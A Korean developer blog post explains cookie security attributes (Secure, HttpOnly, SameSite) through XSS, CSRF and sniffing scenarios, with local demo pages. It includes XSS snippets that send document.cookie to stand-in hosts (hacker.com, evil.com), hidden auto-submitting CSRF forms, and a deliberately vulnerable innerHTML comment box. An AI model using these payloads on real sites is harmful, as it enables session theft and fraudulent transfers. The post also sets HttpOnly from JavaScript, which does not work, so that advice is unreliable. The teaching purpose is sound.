[FRONT] 🍪 Cookie 보안의 모든 것: 탈취부터 방어까지

웹 보안의 핵심, 쿠키 보안 속성과 실제 공격 시나리오 완벽 분석

Posted by lim.Chuck on August 7, 2025

[FRONT]

  1. [FRONT] 프론트엔드 쿠키 이슈 해결하기
  2. [FRONT] Nuxt Proxy 설정과 활용
  3. [FRONT] 웹 캐시 전략과 구현
  4. [FRONT] Next.js와 Nuxt.js 비교 분석
  5. [FRONT] Monorepo vs Multi-repo vs Monolith 아키텍처
  6. [FRONT] mitmproxy를 활용한 디버깅
  7. [FRONT] Storybook 활용 가이드
  8. [FRONT] Vercel Turbopack 소개
  9. [FRONT] 캐시와 캐싱 전략
  10. [FRONT] SWC 컴파일러 이해하기
  11. [FRONT] 인터섹션 옵저버로 인터섹션 여부 감지하기
  12. [FRONT] BroadcastChannel 사용해서 같은 도메인 브라우저 간 통신하기
  13. [FRONT] DOM이벤트 버블링(Bubbling)과 캡처링(Capturing)
  14. [FRONT] XSS와 CSRF
  15. [FRONT] 웹 성능 최적화
  16. [FRONT] 브라우저 렌더링 과정
  17. [FRONT] 웹 접근성
  18. [FRONT] URL과 Domain 정확히 이해하자 (url구조)
  19. [FRONT] HTTP 헤더 이해하기
  20. [FRONT] 🍪 Cookie 보안의 모든 것: 탈취부터 방어까지

🚨 쿠키 탈취, 생각보다 쉽다!

개발하다가 발견한 충격적인 사실! 🤯 우리가 평소에 사용하는 쿠키들, 보안 설정 없이는 정말 쉽게 탈취당할 수 있어요. 실제로 어떻게 공격당하고, 어떻게 방어할 수 있는지 자세히 알아보겠습니다.

💀 쿠키 탈취의 현실

취약한 쿠키 설정

1
2
// ❌ 위험한 쿠키 설정
document.cookie = `token=${userToken}; path=/; expires=${expireDate}`;

이런 쿠키는 다음과 같은 방법으로 탈취당할 수 있어요:

1. 네트워크 스니핑 (Network Sniffing)

1
2
HTTP 통신에서 쿠키가 평문으로 전송됨
→ 공용 와이파이에서 패킷 캡처로 쉽게 탈취 가능

2. XSS (Cross-Site Scripting) 공격

1
2
3
4
5
6
7
8
// 악성 스크립트가 삽입되면
<script>
  // 모든 쿠키를 해커 서버로 전송
  fetch('https://hacker.com/steal', {
    method: 'POST',
    body: document.cookie
  });
</script>

3. CSRF (Cross-Site Request Forgery) 공격

1
2
3
<!-- 악성 사이트에서 -->
<img src="https://victim.com/transfer?amount=1000&to=hacker" />
<!-- 쿠키가 자동으로 함께 전송되어 요청이 성공 -->

🛡️ 쿠키 보안 속성 완벽 가이드

1. Secure 속성

1
2
// ✅ HTTPS에서만 전송
document.cookie = "token=abc123; Secure";

효과:

  • HTTP 연결에서는 쿠키 전송 차단
  • 네트워크 스니핑 공격 방지
  • 중간자 공격(MITM) 차단

2. HttpOnly 속성

1
2
// ✅ JavaScript로 접근 불가
document.cookie = "token=abc123; HttpOnly";

효과:

  • document.cookie로 접근 차단
  • XSS 공격으로부터 쿠키 보호
  • 서버에서만 쿠키 읽기 가능

3. SameSite 속성

SameSite=Strict (가장 엄격)

1
document.cookie = "token=abc123; SameSite=Strict";
  • 같은 사이트에서만 쿠키 전송
  • CSRF 공격 완전 차단
  • 외부 링크 클릭 시에도 쿠키 전송 안됨

SameSite=Lax (적당히 엄격)

1
document.cookie = "token=abc123; SameSite=Lax";
  • 일반적인 GET 요청에서는 쿠키 전송
  • POST/PUT/DELETE 요청에서는 차단
  • 사용성과 보안의 균형

SameSite=None (제한 없음)

1
document.cookie = "token=abc123; SameSite=None; Secure";
  • 모든 요청에서 쿠키 전송
  • 반드시 Secure 속성과 함께 사용

🎯 실제 공격 시나리오와 방어

시나리오 1: 공용 와이파이에서의 쿠키 탈취

공격:

1
2
3
1. 해커가 공용 와이파이 네트워크 모니터링
2. HTTP 사이트 접속 시 쿠키 패킷 캡처
3. 세션 토큰 획득 후 계정 탈취

방어:

1
2
// ✅ Secure 속성으로 HTTPS에서만 전송
document.cookie = "sessionId=xyz789; Secure; path=/";

시나리오 2: XSS를 통한 쿠키 탈취

공격:

1
2
3
4
5
// 게시판에 악성 스크립트 삽입
<script>
  const cookies = document.cookie; fetch(`https://evil.com/steal?data=$
  {encodeURIComponent(cookies)}`);
</script>

방어:

1
2
// ✅ HttpOnly로 JavaScript 접근 차단
document.cookie = "authToken=abc123; HttpOnly; Secure; path=/";

시나리오 3: CSRF 공격

공격:

1
2
3
4
5
6
7
8
<!-- 악성 이메일이나 사이트에서 -->
<form action="https://bank.com/transfer" method="POST" style="display:none">
  <input name="amount" value="1000000" />
  <input name="to" value="hacker-account" />
</form>
<script>
  document.forms[0].submit();
</script>

방어:

1
2
// ✅ SameSite=Strict로 다른 사이트에서의 요청 차단
document.cookie = "sessionId=xyz789; SameSite=Strict; Secure; HttpOnly";

🔧 보안 강화된 쿠키 설정 예시

기본 보안 설정

1
2
3
4
5
6
7
8
9
10
11
function setSecureCookie(name, value, days = 7) {
  const date = new Date();
  date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);

  document.cookie =
    `${name}=${value}; ` +
    `expires=${date.toUTCString()}; ` +
    `path=/; ` +
    `Secure; ` +
    `SameSite=Strict`;
}

민감한 정보용 최고 보안 설정

1
2
3
4
5
6
7
function setHighSecurityCookie(name, value, hours = 2) {
  const date = new Date();
  date.setTime(date.getTime() + hours * 60 * 60 * 1000);

  // 서버에서 설정해야 함 (HttpOnly는 클라이언트에서 설정 불가)
  // Set-Cookie: name=value; HttpOnly; Secure; SameSite=Strict; Max-Age=7200
}

📊 쿠키 보안 속성 비교표

속성 목적 방어 대상 권장도
Secure HTTPS 전용 네트워크 스니핑 ⭐⭐⭐⭐⭐
HttpOnly JS 접근 차단 XSS 공격 ⭐⭐⭐⭐⭐
SameSite=Strict 같은 사이트만 CSRF 공격 ⭐⭐⭐⭐⭐
SameSite=Lax 적당한 제한 CSRF 공격 ⭐⭐⭐⭐
Path 경로 제한 정보 노출 ⭐⭐⭐
Domain 도메인 제한 서브도메인 공격 ⭐⭐⭐

🛠️ 실무에서의 쿠키 보안 체크리스트

✅ 필수 보안 설정

  • 모든 쿠키에 Secure 속성 적용
  • 인증 관련 쿠키에 HttpOnly 적용
  • CSRF 방지를 위한 SameSite 설정
  • 쿠키 만료 시간 적절히 설정
  • 민감한 정보는 쿠키에 저장 금지

✅ 추가 보안 조치

  • HTTPS 강제 적용
  • CSP(Content Security Policy) 설정
  • XSS 필터링 구현
  • CSRF 토큰 사용
  • 정기적인 보안 감사

🎯 결론: 쿠키 보안은 선택이 아닌 필수!

1
2
3
4
5
6
// ❌ 절대 이렇게 하지 마세요
document.cookie = "token=secret123";

// ✅ 항상 이렇게 하세요
document.cookie =
  "token=secret123; Secure; SameSite=Strict; path=/; expires=...";

핵심 포인트:

  1. 쿠키 탈취는 생각보다 쉽다
  2. 보안 속성 설정만으로도 대부분의 공격 차단 가능
  3. HTTPS + Secure + SameSite + HttpOnly = 강력한 방어
  4. 보안은 개발 초기부터 고려해야 할 필수 사항

보안은 한 번 뚫리면 되돌리기 어려워요. 처음부터 제대로 설정하는 것이 가장 중요합니다! 🔐

🧪 직접 체험해보는 쿠키 탈취 & 방어 실습

⚠️ 주의사항: 아래 예제들은 교육 목적으로만 사용하세요. 실제 서비스에서는 절대 시도하지 마시고, 본인의 로컬 환경에서만 테스트하세요.

🎯 실습 환경 준비

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!-- test.html - 취약한 쿠키 테스트 페이지 -->
<!DOCTYPE html>
<html>
  <head>
    <title>쿠키 보안 테스트</title>
  </head>
  <body>
    <h1>🍪 쿠키 보안 실습</h1>

    <!-- 취약한 쿠키 설정 -->
    <button onclick="setVulnerableCookie()">❌ 취약한 쿠키 설정</button>
    <button onclick="setSecureCookie()">✅ 보안 쿠키 설정</button>
    <button onclick="showAllCookies()">🔍 모든 쿠키 보기</button>

    <div id="cookieDisplay"></div>
    <div id="attackResult"></div>

    <script>
      // 취약한 쿠키 설정
      function setVulnerableCookie() {
        document.cookie = "userToken=abc123; path=/";
        document.cookie = "sessionId=xyz789; path=/";
        alert("취약한 쿠키가 설정되었습니다!");
      }

      // 보안 쿠키 설정
      function setSecureCookie() {
        document.cookie = "secureToken=def456; Secure; SameSite=Strict; path=/";
        document.cookie =
          "secureSession=uvw987; HttpOnly; Secure; SameSite=Strict; path=/";
        alert("보안 쿠키가 설정되었습니다!");
      }

      // 모든 쿠키 표시
      function showAllCookies() {
        const cookies = document.cookie;
        document.getElementById(
          "cookieDisplay"
        ).innerHTML = `<h3>현재 쿠키:</h3><pre>${
          cookies || "쿠키가 없습니다."
        }</pre>`;
      }
    </script>
  </body>
</html>

🕵️ 실습 1: XSS를 통한 쿠키 탈취 시뮬레이션

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<!-- xss-demo.html -->
<!DOCTYPE html>
<html>
  <head>
    <title>XSS 쿠키 탈취 데모</title>
  </head>
  <body>
    <h1>🚨 XSS 공격 시뮬레이션</h1>

    <!-- 사용자 입력을 받는 댓글 시스템 (취약) -->
    <div>
      <h3>댓글 작성 (XSS 취약)</h3>
      <textarea id="comment" placeholder="댓글을 입력하세요..."></textarea>
      <button onclick="addComment()">댓글 추가</button>
    </div>

    <div id="comments"></div>

    <!-- 쿠키 탈취 시뮬레이션 결과 -->
    <div
      id="stolenCookies"
      style="background: #ffe6e6; padding: 10px; margin: 10px 0;"
    >
      <h3>🔥 탈취된 쿠키 (해커 관점)</h3>
      <div id="hackerView"></div>
    </div>

    <script>
      // 먼저 테스트용 쿠키 설정
      document.cookie = "userToken=vulnerable123; path=/";
      document.cookie = "sessionId=session456; path=/";

      function addComment() {
        const comment = document.getElementById("comment").value;
        const commentsDiv = document.getElementById("comments");

        // ❌ 위험: 사용자 입력을 그대로 innerHTML에 삽입
        commentsDiv.innerHTML += `<div style="border: 1px solid #ccc; margin: 5px; padding: 5px;">
                ${comment}
            </div>`;

        document.getElementById("comment").value = "";
      }

      // 쿠키 탈취 시뮬레이션 함수 (교육용)
      function simulateSteal() {
        const cookies = document.cookie;
        document.getElementById(
          "hackerView"
        ).innerHTML = `<strong>탈취된 쿠키:</strong> ${cookies}`;

        // 실제로는 해커 서버로 전송됨
        console.log("🚨 해커 서버로 전송될 데이터:", cookies);
      }

      // 페이지 로드 시 쿠키 탈취 시뮬레이션
      setTimeout(simulateSteal, 1000);
    </script>

    <div style="background: #e6ffe6; padding: 10px; margin: 10px 0;">
      <h3>💡 XSS 공격 테스트해보기</h3>
      <p>댓글창에 이런 코드를 입력해보세요:</p>
      <code>&lt;script&gt;alert('XSS 공격!');&lt;/script&gt;</code><br />
      <code>&lt;img src="x" onerror="simulateSteal()"&gt;</code>
    </div>
  </body>
</html>

🛡️ 실습 2: 보안 강화된 버전

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<!-- secure-demo.html -->
<!DOCTYPE html>
<html>
  <head>
    <title>보안 강화 데모</title>
  </head>
  <body>
    <h1>✅ 보안 강화된 댓글 시스템</h1>

    <div>
      <h3>댓글 작성 (XSS 방어)</h3>
      <textarea
        id="secureComment"
        placeholder="댓글을 입력하세요..."
      ></textarea>
      <button onclick="addSecureComment()">댓글 추가</button>
    </div>

    <div id="secureComments"></div>

    <script>
      // 보안 쿠키 설정 (HttpOnly는 서버에서만 설정 가능)
      document.cookie =
        "secureToken=protected789; Secure; SameSite=Strict; path=/";

      function addSecureComment() {
        const comment = document.getElementById("secureComment").value;
        const commentsDiv = document.getElementById("secureComments");

        // ✅ 안전: HTML 이스케이프 처리
        const safeComment = escapeHtml(comment);

        const commentDiv = document.createElement("div");
        commentDiv.style.cssText =
          "border: 1px solid #ccc; margin: 5px; padding: 5px;";
        commentDiv.textContent = safeComment; // textContent 사용으로 XSS 방지

        commentsDiv.appendChild(commentDiv);

        document.getElementById("secureComment").value = "";
      }

      // HTML 이스케이프 함수
      function escapeHtml(unsafe) {
        return unsafe
          .replace(/&/g, "&amp;")
          .replace(/</g, "&lt;")
          .replace(/>/g, "&gt;")
          .replace(/"/g, "&quot;")
          .replace(/'/g, "&#039;");
      }

      // 쿠키 접근 테스트
      function testCookieAccess() {
        try {
          const cookies = document.cookie;
          alert(`접근 가능한 쿠키: ${cookies}`);
        } catch (e) {
          alert("HttpOnly 쿠키는 JavaScript로 접근할 수 없습니다!");
        }
      }
    </script>

    <button onclick="testCookieAccess()">🔍 쿠키 접근 테스트</button>

    <div style="background: #e6ffe6; padding: 10px; margin: 10px 0;">
      <h3>✅ 보안 확인</h3>
      <p>같은 XSS 코드를 입력해도 실행되지 않는 것을 확인할 수 있습니다!</p>
    </div>
  </body>
</html>

🌐 실습 3: CSRF 공격 시뮬레이션

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<!-- csrf-demo.html -->
<!DOCTYPE html>
<html>
  <head>
    <title>CSRF 공격 데모</title>
  </head>
  <body>
    <h1>🎯 CSRF 공격 시뮬레이션</h1>

    <!-- 가짜 은행 사이트 -->
    <div style="background: #f0f8ff; padding: 15px; margin: 10px 0;">
      <h3>🏦 MyBank (victim.com)</h3>
      <p>현재 로그인된 사용자: 홍길동</p>
      <p>잔액: 1,000,000원</p>

      <form id="transferForm" action="/transfer" method="POST">
        <label>송금할 계좌: <input type="text" name="account" value="" /></label
        ><br />
        <label>금액: <input type="number" name="amount" value="" /></label
        ><br />
        <button type="submit">송금하기</button>
      </form>
    </div>

    <!-- 악성 사이트 영역 -->
    <div style="background: #ffe6e6; padding: 15px; margin: 10px 0;">
      <h3>👹 악성 사이트 (evil.com)</h3>
      <p>무료 이모티콘 다운로드!</p>

      <!-- 숨겨진 CSRF 공격 폼 -->
      <iframe src="about:blank" style="display:none;" id="hiddenFrame"></iframe>

      <button onclick="downloadEmoticons()">🎁 무료 다운로드</button>

      <!-- CSRF 공격 시뮬레이션 -->
      <script>
        function downloadEmoticons() {
          // 사용자가 무료 다운로드 버튼을 클릭할 때
          alert("다운로드를 시작합니다...");

          // 숨겨진 CSRF 공격 실행
          performCSRFAttack();
        }

        function performCSRFAttack() {
          // 은행 사이트로 자동 송금 요청 (CSRF)
          const form = document.createElement("form");
          form.method = "POST";
          form.action = "https://victim-bank.com/transfer";
          form.target = "hiddenFrame";

          const accountInput = document.createElement("input");
          accountInput.type = "hidden";
          accountInput.name = "account";
          accountInput.value = "hacker-account-123";

          const amountInput = document.createElement("input");
          amountInput.type = "hidden";
          amountInput.name = "amount";
          amountInput.value = "500000";

          form.appendChild(accountInput);
          form.appendChild(amountInput);
          document.body.appendChild(form);

          // 폼 자동 제출 (사용자 모르게)
          form.submit();

          // 시뮬레이션 결과 표시
          setTimeout(() => {
            document.getElementById("csrfResult").innerHTML =
              "🚨 CSRF 공격 시뮬레이션 완료! 500,000원이 해커 계좌로 송금되었습니다.";
          }, 1000);
        }
      </script>

      <div
        id="csrfResult"
        style="color: red; font-weight: bold; margin-top: 10px;"
      ></div>
    </div>

    <!-- 방어 버전 -->
    <div style="background: #e6ffe6; padding: 15px; margin: 10px 0;">
      <h3>🛡️ CSRF 방어된 은행 사이트</h3>
      <p>SameSite=Strict 쿠키 + CSRF 토큰 적용</p>

      <script>
        // 보안 쿠키 설정
        document.cookie =
          "bankSession=secure123; SameSite=Strict; Secure; path=/";

        function secureTransfer() {
          // CSRF 토큰 검증
          const csrfToken = generateCSRFToken();
          alert(`CSRF 토큰으로 보호된 송금: ${csrfToken}`);
        }

        function generateCSRFToken() {
          return (
            Math.random().toString(36).substring(2, 15) +
            Math.random().toString(36).substring(2, 15)
          );
        }
      </script>

      <button onclick="secureTransfer()">🔒 보안 송금</button>
    </div>
  </body>
</html>

🧪 실습 4: 네트워크 스니핑 시뮬레이션

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// network-sniffing-demo.js
console.log("🕵️ 네트워크 스니핑 시뮬레이션");

// HTTP vs HTTPS 쿠키 전송 시뮬레이션
function simulateNetworkTraffic() {
  console.log("\n=== HTTP 통신 (취약) ===");
  console.log("GET /login HTTP/1.1");
  console.log("Host: example.com");
  console.log("Cookie: sessionId=abc123; userToken=xyz789");
  console.log("👆 평문으로 전송되어 패킷 캡처로 쉽게 탈취 가능!");

  console.log("\n=== HTTPS 통신 (보안) ===");
  console.log("암호화된 데이터: 4f8b2c3a9e1d7f6b...");
  console.log("👆 암호화되어 있어 내용을 알 수 없음");
}

// 실행
simulateNetworkTraffic();

🔍 테스트 방법

  1. 로컬 서버 실행:
1
2
3
4
5
# Python으로 간단한 HTTP 서버 실행
python3 -m http.server 8000

# 또는 Node.js
npx http-server
  1. 브라우저에서 테스트:

    • http://localhost:8000/test.html (HTTP - 취약)
    • https://localhost:8000/test.html (HTTPS - 보안)
  2. 개발자 도구로 확인:

    • Network 탭에서 쿠키 전송 확인
    • Application 탭에서 쿠키 속성 확인
    • Console에서 document.cookie 실행

📋 실습 체크리스트

  • XSS 공격으로 쿠키 탈취 확인
  • HttpOnly 쿠키가 JavaScript 접근 차단하는지 확인
  • SameSite=Strict가 CSRF 공격 차단하는지 확인
  • HTTP vs HTTPS에서 Secure 쿠키 동작 차이 확인
  • 보안 강화 전후 비교 테스트

이제 직접 해보시면서 쿠키 보안의 중요성을 체감해보세요! 🚀